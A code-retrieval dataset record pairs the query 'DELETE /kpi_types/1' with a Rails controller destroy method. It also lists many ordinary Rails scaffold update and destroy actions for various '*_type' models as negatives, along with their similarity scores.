"def update\n respond_to do |format|\n if @potion_type.update(potion_type_params)\n format.html { redirect_to @potion_type, notice: 'Potion type was successfully updated.' }\n format.json { render :show, status: :ok, location: @potion_type }\n else\n format.html { render :edit }\n format.json { render json: @potion_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @jewelry_type = JewelryType.find(params[:id])\n\n respond_to do |format|\n if @jewelry_type.update_attributes(params[:jewelry_type])\n format.html { redirect_to @jewelry_type, notice: 'Jewelry type was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @jewelry_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @use_type.update(use_type_params)\n format.html { redirect_to @use_type, notice: 'Use type was successfully updated.' }\n format.json { render :show, status: :ok, location: @use_type }\n else\n format.html { render :edit }\n format.json { render json: @use_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @affected_type.update(affected_type_params)\n format.html { redirect_to @affected_type, notice: 'Affected type was successfully updated.' }\n format.json { render :show, status: :ok, location: @affected_type }\n else\n format.html { render :edit }\n format.json { render json: @affected_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @optype.update(optype_params)\n format.html { redirect_to @optype, notice: 'Optype was successfully updated.' }\n format.json { render :show, status: :ok, location: @optype }\n else\n format.html { render :edit }\n format.json { render json: @optype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @instance_type = InstanceType.find(params[:id])\n\n respond_to do |format|\n if @instance_type.update_attributes(params[:instance_type])\n format.html { redirect_to @instance_type, notice: 'Instance type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @instance_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @ip_type = IpType.find(params[:id])\n\n respond_to do |format|\n if @ip_type.update_attributes(params[:ip_type])\n format.html { redirect_to @ip_type, :notice => 'Ip type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @ip_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @specification_type = SpecificationType.find(params[:id])\n\n if @specification_type.update(specification_type_params)\n audit(@specification_type, current_user)\n render json: @specification_type, status: :created, serializer: Web::V1::SpecificationTypeSerializer\n else\n render json: @specification_type.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @settings_type.update(settings_type_params)\n format.html { redirect_to settings_types_path, notice: 'Settings type was successfully updated.' }\n format.json { render :show, status: :ok, location: @settings_type }\n else\n format.html { render :edit }\n format.json { render json: @settings_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize :resquest_type, :update?\n respond_to do |format|\n if @resquest_type.update(resquest_type_params)\n format.html { redirect_to @resquest_type, notice: 'Resquest type was successfully updated.' }\n format.json { render :show, status: :ok, location: @resquest_type }\n else\n format.html { render :edit }\n format.json { render json: @resquest_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @thing_type.update(thing_type_params)\n format.html { redirect_to @thing_type, notice: 'Thing type was successfully updated.' }\n format.json { render :show, status: :ok, location: @thing_type }\n else\n format.html { render :edit }\n format.json { render json: @thing_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @box_request_abuse_type.update(box_request_abuse_type_params)\n format.html { redirect_to @box_request_abuse_type, notice: 'Box request abuse type was successfully updated.' }\n format.json { render :show, status: :ok, location: @box_request_abuse_type }\n else\n format.html { render :edit }\n format.json { render json: @box_request_abuse_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @crate_type = CrateType.find(params[:id])\n\n respond_to do |format|\n if @crate_type.update_attributes(params[:crate_type])\n format.html { redirect_to @crate_type, :notice => 'Crate type was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @crate_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @typeio.update(typeio_params)\n format.html { redirect_to @bulletin_board, notice: 'Typeio was successfully updated.' }\n format.json { render :show, status: :ok, location: @typeio }\n else\n format.html { render :edit }\n format.json { render json: @typeio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @clothing_type.update(clothing_type_params)\n format.html { redirect_to @clothing_type, notice: 'Clothing type was successfully updated.' }\n format.json { render :show, status: :ok, location: @clothing_type }\n else\n format.html { render :edit }\n format.json { render json: @clothing_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cloth_type.update(cloth_type_params)\n format.html { redirect_to @cloth_type, notice: \"Cloth type was successfully updated.\" }\n format.json { render :show, status: :ok, location: @cloth_type }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @cloth_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @pricetype.update(pricetype_params)\n format.html { redirect_to @pricetype, notice: 'Pricetype was successfully updated.' }\n format.json { render :show, status: :ok, location: @pricetype }\n else\n format.html { render :edit }\n format.json { render json: @pricetype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project_type.update(project_type_params)\n format.html { redirect_to @project_type, notice: 'Project type was successfully updated.' }\n format.json { render :show, status: :ok, location: @project_type }\n else\n format.html { render :edit }\n format.json { render json: @project_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project_type.update(project_type_params)\n format.html { redirect_to @project_type, notice: 'Project type was successfully updated.' }\n format.json { render :show, status: :ok, location: @project_type }\n else\n format.html { render :edit }\n format.json { render json: @project_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @type_of_value.update(type_of_value_params)\n format.html { redirect_to @type_of_value, notice: 'Type of value was successfully updated.' }\n format.json { render :show, status: :ok, location: @type_of_value }\n else\n format.html { render :edit }\n format.json { render json: @type_of_value.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @product_type.update(product_type_params)\n format.html { redirect_to @product_type, notice: 'Product type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @product_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @params_config_type_doc.update(params_config_type_doc_params)\n format.html { redirect_to @params_config_type_doc, notice: 'Params config type doc was successfully updated.' }\n format.json { render :show, status: :ok, location: @params_config_type_doc }\n else\n format.html { render :edit }\n format.json { render json: @params_config_type_doc.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @brake_type.update(brake_type_params)\n format.html { redirect_to brake_types_path, notice: 'Brake type was successfully updated.' }\n format.json { render :show, status: :ok, location: @brake_type }\n else\n format.html { render :edit }\n format.json { render json: @brake_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @ptype.update(ptype_params)\n format.html { redirect_to @ptype, notice: 'Ptype was successfully updated.' }\n format.json { render :show, status: :ok, location: @ptype }\n else\n format.html { render :edit }\n format.json { render json: @ptype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @ptype.update(ptype_params)\n format.html { redirect_to @ptype, notice: 'Ptype was successfully updated.' }\n format.json { render :show, status: :ok, location: @ptype }\n else\n format.html { render :edit }\n format.json { render json: @ptype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @modeltype.update(modeltype_params)\n format.html { redirect_to @modeltype, notice: 'Modeltype was successfully updated.' }\n format.json { render :show, status: :ok, location: @modeltype }\n else\n format.html { render :edit }\n format.json { render json: @modeltype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @incident_type.update(incident_type_params)\n format.html { redirect_to admin_incident_types_path, notice: 'Incident type was successfully updated.' }\n format.json { render :show, status: :ok, location: @incident_type }\n else\n format.html { render :edit }\n format.json { render json: @incident_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @gift_type.update(gift_type_params)\n format.html { redirect_to admin_gift_type_url(@gift_type), notice: 'Gift type was successfully updated.' }\n format.json { render :show, status: :ok, location: @gift_type }\n else\n format.html { render :edit }\n format.json { render json: @gift_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @ref_mkb_type = Ref::MkbType.find(params[:id])\n\n respond_to do |format|\n if @ref_mkb_type.update_attributes(params[:ref_mkb_type])\n format.html { redirect_to ref_mkb_types_path, notice: I18n.t(:record_updated) }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ref_mkb_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @addtype.update(addtype_params)\n format.html { redirect_to @addtype, notice: '变动方式修改成功!' }\n format.json { render :show, status: :ok, location: @addtype }\n else\n format.html { render :edit }\n format.json { render json: @addtype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @interview_type.update(interview_type_params)\n format.html { redirect_to @interview_type, notice: 'Interview type was successfully updated.' }\n format.json { render :show, status: :ok, location: @interview_type }\n else\n format.html { render :edit }\n format.json { render json: @interview_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def type= new_type\n @gapi.update! type: verify_type(new_type)\n end",
"def update\n if @low_type.update(low_type_params)\n render :show, status: :ok, location: @low_type\n else\n render json: @low_type.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @task_type.update(task_type_params)\n format.html { redirect_to task_types_path, notice: 'Task type was successfully updated.' }\n format.json { render :show, status: :ok, location: @task_type }\n else\n format.html { render :edit }\n format.json { render json: @task_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @roof_type.update(roof_type_params)\n format.html { redirect_to roof_types_path, notice: 'Roof type was successfully updated.' }\n format.json { render :show, status: :ok, location: @roof_type }\n else\n format.html { render :edit }\n format.json { render json: @roof_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def kpi_type_params\n params.require(:kpi_type).permit(:name,:code)\n end",
"def update\n respond_to do |format|\n instance = get_instance\n set_meta instance\n if instance.update(type_params)\n # Redirect to index\n format.html { redirect_to redirect_address(@type), notice: \"#{type_label} was successfully updated.\" }\n else\n flash[:alert] = \"#{type_label} has not been saved.\"\n format.html { render sti_template(@type, :edit) }\n end\n end\n end",
"def update\n @count = @procedure_type.requirements.count\n respond_to do |format|\n if @procedure_type.update(procedure_type_params)\n format.html { redirect_to procedure_types_path, notice: 'Tipo de tramite actualizado exitosamente' }\n format.json { render :show, status: :ok, location: @procedure_type }\n else\n format.html { render :edit }\n format.json { render json: @procedure_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @phones_type.update(phones_type_params)\n format.html { redirect_to @phones_type, notice: 'Phones type was successfully updated.' }\n format.json { render :show, status: :ok, location: @phones_type }\n else\n format.html { render :edit }\n format.json { render json: @phones_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @info_type = InfoType.find(params[:id])\n\n respond_to do |format|\n if @info_type.update_attributes(params[:info_type])\n format.html { redirect_to @info_type, notice: 'Info type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @info_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @poi_type = PoiType.find(params[:id])\n\n respond_to do |format|\n if @poi_type.update_attributes(params[:poi_type])\n format.html { redirect_to [:admin, @poi_type], notice: 'Tipo de punto de interés actualizado.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @poi_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @pcr_type.update(pcr_type_params)\n format.html { redirect_to @pcr_type, notice: \"Pcr type was successfully updated.\" }\n format.json { render :show, status: :ok, location: @pcr_type }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @pcr_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @option_type.update(option_type_params)\n format.html { redirect_to [:admin, @option_type], notice: 'Option type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @option_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @call_type.update(call_type_params)\n format.html { redirect_to @call_type, notice: 'Call type was successfully updated.' }\n format.json { render :show, status: :ok, location: @call_type }\n else\n format.html { render :edit }\n format.json { render json: @call_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @doi_type.update(doi_type_params)\n format.html { \n flash[:notice] = 'El tipo de documento de identidad se actualizó satisfactoriamente.'\n redirect_to doi_types_path\n }\n format.json { render :show, status: :ok, location: @doi_type }\n else\n format.html { render :edit }\n format.json { render json: @doi_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @identity_type.update(identity_type_params)\n format.html { redirect_to @identity_type, notice: 'Identity type was successfully updated.' }\n format.json { render :show, status: :ok, location: @identity_type }\n else\n format.html { render :edit }\n format.json { render json: @identity_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @devicetype.update(devicetype_params)\n format.html { redirect_to @devicetype, notice: 'Devicetype was successfully updated.' }\n format.json { render :show, status: :ok, location: @devicetype }\n else\n format.html { render :edit }\n format.json { render json: @devicetype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @powder_type.update(powder_type_params)\n format.html { redirect_to @powder_type, notice: 'Powder type was successfully updated.' }\n format.json { render :show, status: :ok, location: @powder_type }\n else\n format.html { render :edit }\n format.json { render json: @powder_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @power_rack_type.update(power_rack_type_params)\n format.html { redirect_to @power_rack_type, notice: \"Power rack type was successfully updated.\" }\n format.json { render :show, status: :ok, location: @power_rack_type }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @power_rack_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @typegroup.update(typegroup_params)\n format.html { redirect_to @typegroup, notice: 'Typegroup was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @typegroup.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n if @kpi_calculation_type.update(kpi_calculation_type_params)\n flash[:success] = 'KPI Calculation Type was successfully updated.'\n redirect_to :back\n else\n flash[:danger] = 'KPI Calculation Type was not updated.'\n redirect_to :back\n end\n\n end",
"def update\n respond_to do |format|\n if @notification_type.update(notification_type_params)\n format.html { redirect_to @notification_type, notice: 'Notification type was successfully updated.' }\n format.json { render :show, status: :ok, location: @notification_type }\n else\n format.html { render :edit }\n format.json { render json: @notification_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @crossbowtype.update(crossbowtype_params)\n format.html { redirect_to @crossbowtype, notice: 'Crossbowtype was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @crossbowtype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @type = Type.find(params[:id])\n if params[:type]['temp_title'] && params[:type]['temp_description']\n @type.name = params[:type]['temp_title']\n @type.description = params[:type]['temp_description']\n @type.image = params[:type]['temp_image']\n end\n @type.active = true\n\n respond_to do |format|\n if @type.update_attributes(params[:type])\n format.html { redirect_to @type, notice: 'Type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @client_type = ClientType.find(params[:id])\n\n respond_to do |format|\n if @client_type.update_attributes(params[:client_type])\n format.html { redirect_to @client_type, notice: 'Client type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @client_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @good_type.update(good_type_params)\n format.html { redirect_to @good_type, notice: 'Good type was successfully updated.' }\n format.json { render :show, status: :ok, location: @good_type }\n else\n format.html { render :edit }\n format.json { render json: @good_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @observation_type = ObservationType.find(params[:id])\n\n respond_to do |format|\n if @observation_type.update_attributes(params[:observation_type])\n format.html { redirect_to @observation_type, notice: 'Observation type was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @observation_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @default_task_type.update(default_task_type_params)\n format.html { redirect_to @default_task_type, notice: 'Default task type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @default_task_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @paper_type = PaperType.find(params[:id])\n\n respond_to do |format|\n if @paper_type.update_attributes(params[:paper_type])\n format.html { redirect_to @paper_type, notice: 'Paper type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @paper_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @procedure_type.update(procedure_type_params)\n format.html { redirect_to procedure_type_path(@procedure_type, active_tab: TAB_NAMES[:system_settings]), notice: 'Procedure Type was updated' }\n format.json { render :show, status: :ok, location: @procedure_type }\n else\n format.html { render :edit }\n format.json { render json: @procedure_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @gl_type = GlType.find(params[:id])\n\n respond_to do |format|\n if @gl_type.update_attributes(gl_type_params)\n format.html { redirect_to gl_types_path, notice: 'Gl type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @gl_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @bike_type = BikeType.find(params[:id])\n\n if @bike_type.update(bike_type_params)\n audit(@bike_type, current_user)\n render json: @bike_type, status: :ok\n else\n render json: @bike_type.errors, status: :unprocessable_entity\n end\n end",
"def update\n @reform_type = ReformType.find(params[:id])\n\n respond_to do |format|\n if @reform_type.update_attributes(params[:reform_type])\n format.html { redirect_to @reform_type, notice: 'Reform type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @reform_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update \t\n record = AssetType.find(params[:id])\n record.update_attributes(params[:record])\n \n respond_to do |format|\n format.html\n format.json {\n render json: {}\n }\n end\n end",
"def update\n respond_to do |format|\n if @item_type.update(item_type_params)\n format.html { redirect_to @item_type, notice: 'ItemType was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @yarn_type.update(yarn_type_params)\n format.html { redirect_to @yarn_type, notice: 'Yarn type was successfully updated.' }\n format.json { render :show, status: :ok, location: @yarn_type }\n else\n format.html { render :edit }\n format.json { render json: @yarn_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if get_instance.update(type_params)\n # Redirect to index\n format.json { render sti_template(@type, :show), status: :ok, location: get_instance } # TODO: test\n else\n format.json { render json: get_instance.errors, status: :unprocessable_entity }\n end\n end\n end",
"def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end",
"def update\n respond_to do |format|\n if @type_identification.update(type_identification_params)\n format.html { redirect_to @type_identification, notice: 'Type identification was successfully updated.' }\n format.json { render :show, status: :ok, location: @type_identification }\n else\n format.html { render :edit }\n format.json { render json: @type_identification.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @device_type.update(device_type_params)\n format.html { redirect_to browse_url(protocol: redirect_protocol), notice: 'Device type was successfully updated.' }\n format.json { render :show, status: :ok, location: @device_type }\n else\n format.html { render :edit }\n format.json { render json: @device_type.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.64834076",
"0.63348955",
"0.6264754",
"0.61594623",
"0.6146158",
"0.6144301",
"0.6132821",
"0.6126535",
"0.6126196",
"0.61250424",
"0.61238486",
"0.61134434",
"0.6110178",
"0.60877174",
"0.6074158",
"0.60712737",
"0.60435665",
"0.6040991",
"0.60351515",
"0.6022848",
"0.60024875",
"0.6001573",
"0.60006595",
"0.599663",
"0.5990258",
"0.5987058",
"0.5981139",
"0.5977972",
"0.5976765",
"0.5962572",
"0.59584093",
"0.5953772",
"0.59440255",
"0.5936642",
"0.5935062",
"0.5930826",
"0.59247524",
"0.5920976",
"0.5918616",
"0.5917802",
"0.59111863",
"0.59109336",
"0.5903765",
"0.5900565",
"0.5898891",
"0.5896361",
"0.58956254",
"0.5888501",
"0.5888501",
"0.58870435",
"0.5883351",
"0.58803934",
"0.5880348",
"0.5879061",
"0.5879061",
"0.58723646",
"0.58718807",
"0.58699155",
"0.58631957",
"0.5862766",
"0.5861689",
"0.5858579",
"0.5855153",
"0.58490974",
"0.584837",
"0.5847925",
"0.58372474",
"0.5831949",
"0.58238226",
"0.58160776",
"0.5815983",
"0.58125496",
"0.5805319",
"0.58048224",
"0.5801877",
"0.5798573",
"0.57927686",
"0.5791587",
"0.57905084",
"0.57874256",
"0.578612",
"0.5781044",
"0.57796985",
"0.5772561",
"0.5770467",
"0.57701683",
"0.5770093",
"0.5769011",
"0.57647514",
"0.5762581",
"0.57611305",
"0.57610315",
"0.5760164",
"0.5758628",
"0.5751744",
"0.5750137",
"0.5743573",
"0.5742376",
"0.57422465",
"0.5738174"
] |
0.6594203
|
0
|
DELETE /kpi_types/1 DELETE /kpi_types/1.json
|
def destroy
@kpi_type.destroy
flash[:success] = 'KPI Type was successfully deleted.'
redirect_to :back
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @type = Type.find(params[:id])\n @type.destroy\n\n respond_to do |format|\n format.html { redirect_to types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @itype = Itype.find(params[:id])\n @itype.destroy\n\n respond_to do |format|\n format.html { redirect_to itypes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_v1_admin_type.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_admin_types_url, notice: 'Admin type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ip_type = IpType.find(params[:id])\n @ip_type.destroy\n\n respond_to do |format|\n format.html { redirect_to ip_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @devicetype.destroy\n respond_to do |format|\n format.html { redirect_to devicetypes_url, notice: 'Devicetype was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @type = Type.find(params[:type])\n @type.destroy\n\n respond_to do |format|\n format.html { redirect_to company_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @os_type = OsType.find(params[:id])\n @os_type.destroy\n\n respond_to do |format|\n format.html { redirect_to os_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @crossbowtype.destroy\n respond_to do |format|\n format.html { redirect_to crossbowtypes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_v1_user_type.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_user_types_url, notice: 'User type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @os_type.destroy\n respond_to do |format|\n format.html { redirect_to os_types_url, notice: 'Os type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @instance_type.destroy\n respond_to do |format|\n format.html { redirect_to instance_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @girltype = Girltype.find(params[:id])\n @girltype.destroy\n\n respond_to do |format|\n format.html { redirect_to girltypes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @jewelry_type = JewelryType.find(params[:id])\n @jewelry_type.destroy\n\n respond_to do |format|\n format.html { redirect_to jewelry_types_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @metric_type = MetricType.find(params[:id])\n @metric_type.destroy\n\n respond_to do |format|\n format.html { redirect_to metric_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @poi_type = PoiType.find(params[:id])\n @poi_type.destroy\n\n respond_to do |format|\n format.html { redirect_to poi_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @instance_type = InstanceType.find(params[:id])\n @instance_type.destroy\n\n respond_to do |format|\n format.html { redirect_to instance_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ref_mkb_type = Ref::MkbType.find(params[:id])\n @ref_mkb_type.destroy\n\n respond_to do |format|\n format.html { redirect_to ref_mkb_types_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @realty_type = RealtyType.find(params[:id])\n @realty_type.destroy\n\n respond_to do |format|\n format.html { redirect_to realty_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @dishtype.destroy\n respond_to do |format|\n format.html { redirect_to dishtypes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @package_type.destroy\n respond_to do |format|\n format.html { redirect_to package_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @arc_type.destroy\n respond_to do |format|\n format.html { redirect_to arc_types_url }\n format.json { head :no_content }\n end\n end",
"def delete_outype(outype_id)\n path = \"/d2l/api/lp/#{$lp_ver}/outypes/#{outype_id}\"\n _delete(path)\nend",
"def destroy\n @shape_type = ShapeType.find(params[:id])\n @shape_type.destroy\n\n\t\tmsg = I18n.t('app.msgs.success_deleted', :obj => I18n.t('app.common.shape_type'))\n\t\tsend_status_update(I18n.t('app.msgs.cache_cleared', :action => msg))\n respond_to do |format|\n format.html { redirect_to admin_shape_types_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @value_type = ValueType.find(params[:id])\n @value_type.destroy\n\n respond_to do |format|\n format.html { redirect_to value_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @gl_type = GlType.find(params[:id])\n @gl_type.destroy\n\n respond_to do |format|\n format.html { redirect_to gl_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @doi_type.destroy\n respond_to do |format|\n format.html { \n flash[:notice] = 'El tipo de documento de identidad se eliminó satisfactoriamente.'\n redirect_to doi_types_path\n }\n format.json { head :no_content }\n end\n end",
"def destroy\n @intervention_type.destroy\n respond_to do |format|\n format.html { redirect_to intervention_types_url, notice: 'O tipo de intervenção foi eliminado.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @identity_type.destroy\n respond_to do |format|\n format.html { redirect_to identity_types_url, notice: 'Identity type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client_type = ClientType.find(params[:id])\n @client_type.destroy\n\n respond_to do |format|\n format.html { redirect_to client_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @structure_type = StructureType.find(params[:id])\n @structure_type.destroy\n\n respond_to do |format|\n format.html { redirect_to structure_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_kpi_template = Admin::KpiTemplate.find(params[:id])\n @admin_kpi_template.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_kpi_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @storage_type.destroy\n respond_to do |format|\n format.html { redirect_to storage_types_url, notice: 'Storage type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @testtype.destroy\n respond_to do |format|\n format.html { redirect_to testtypes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @addtype.destroy\n respond_to do |format|\n format.html { redirect_to addtypes_url, notice: '变动方式删除成功!.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @awon_record_type.destroy\n respond_to do |format|\n format.html { redirect_to awon_record_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @crate_type = CrateType.find(params[:id])\n @crate_type.destroy\n\n respond_to do |format|\n format.html { redirect_to crate_types_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @type_identification.destroy\n respond_to do |format|\n format.html { redirect_to type_identifications_url, notice: 'Type identification was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @claim_type.destroy\n respond_to do |format|\n format.html { redirect_to claim_types_url, notice: 'Claim type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @foiltype = Foiltype.find(params[:id])\n @foiltype.destroy\n\n respond_to do |format|\n format.html { redirect_to foiltypes_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @ref_diagnostic_test_type = Ref::DiagnosticTestType.find(params[:id])\n @ref_diagnostic_test_type.destroy\n\n respond_to do |format|\n format.html { redirect_to ref_diagnostic_test_types_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @observation_type = ObservationType.find(params[:id])\n @observation_type.destroy\n\n respond_to do |format|\n format.html { redirect_to observation_types_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @pcr_type.destroy\n respond_to do |format|\n format.html { redirect_to pcr_types_url, notice: \"Pcr type was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @typeconge.destroy\n respond_to do |format|\n format.html { redirect_to typeconges_url, notice: 'Typeconge was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @novelty_type.destroy\n respond_to do |format|\n format.html { redirect_to novelty_types_url, notice: 'Novelty type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @all_field_type = AllFieldType.find(params[:id])\n @all_field_type.destroy\n\n respond_to do |format|\n format.html { redirect_to all_field_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @affected_type.destroy\n respond_to do |format|\n format.html { redirect_to affected_types_url, notice: 'Affected type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
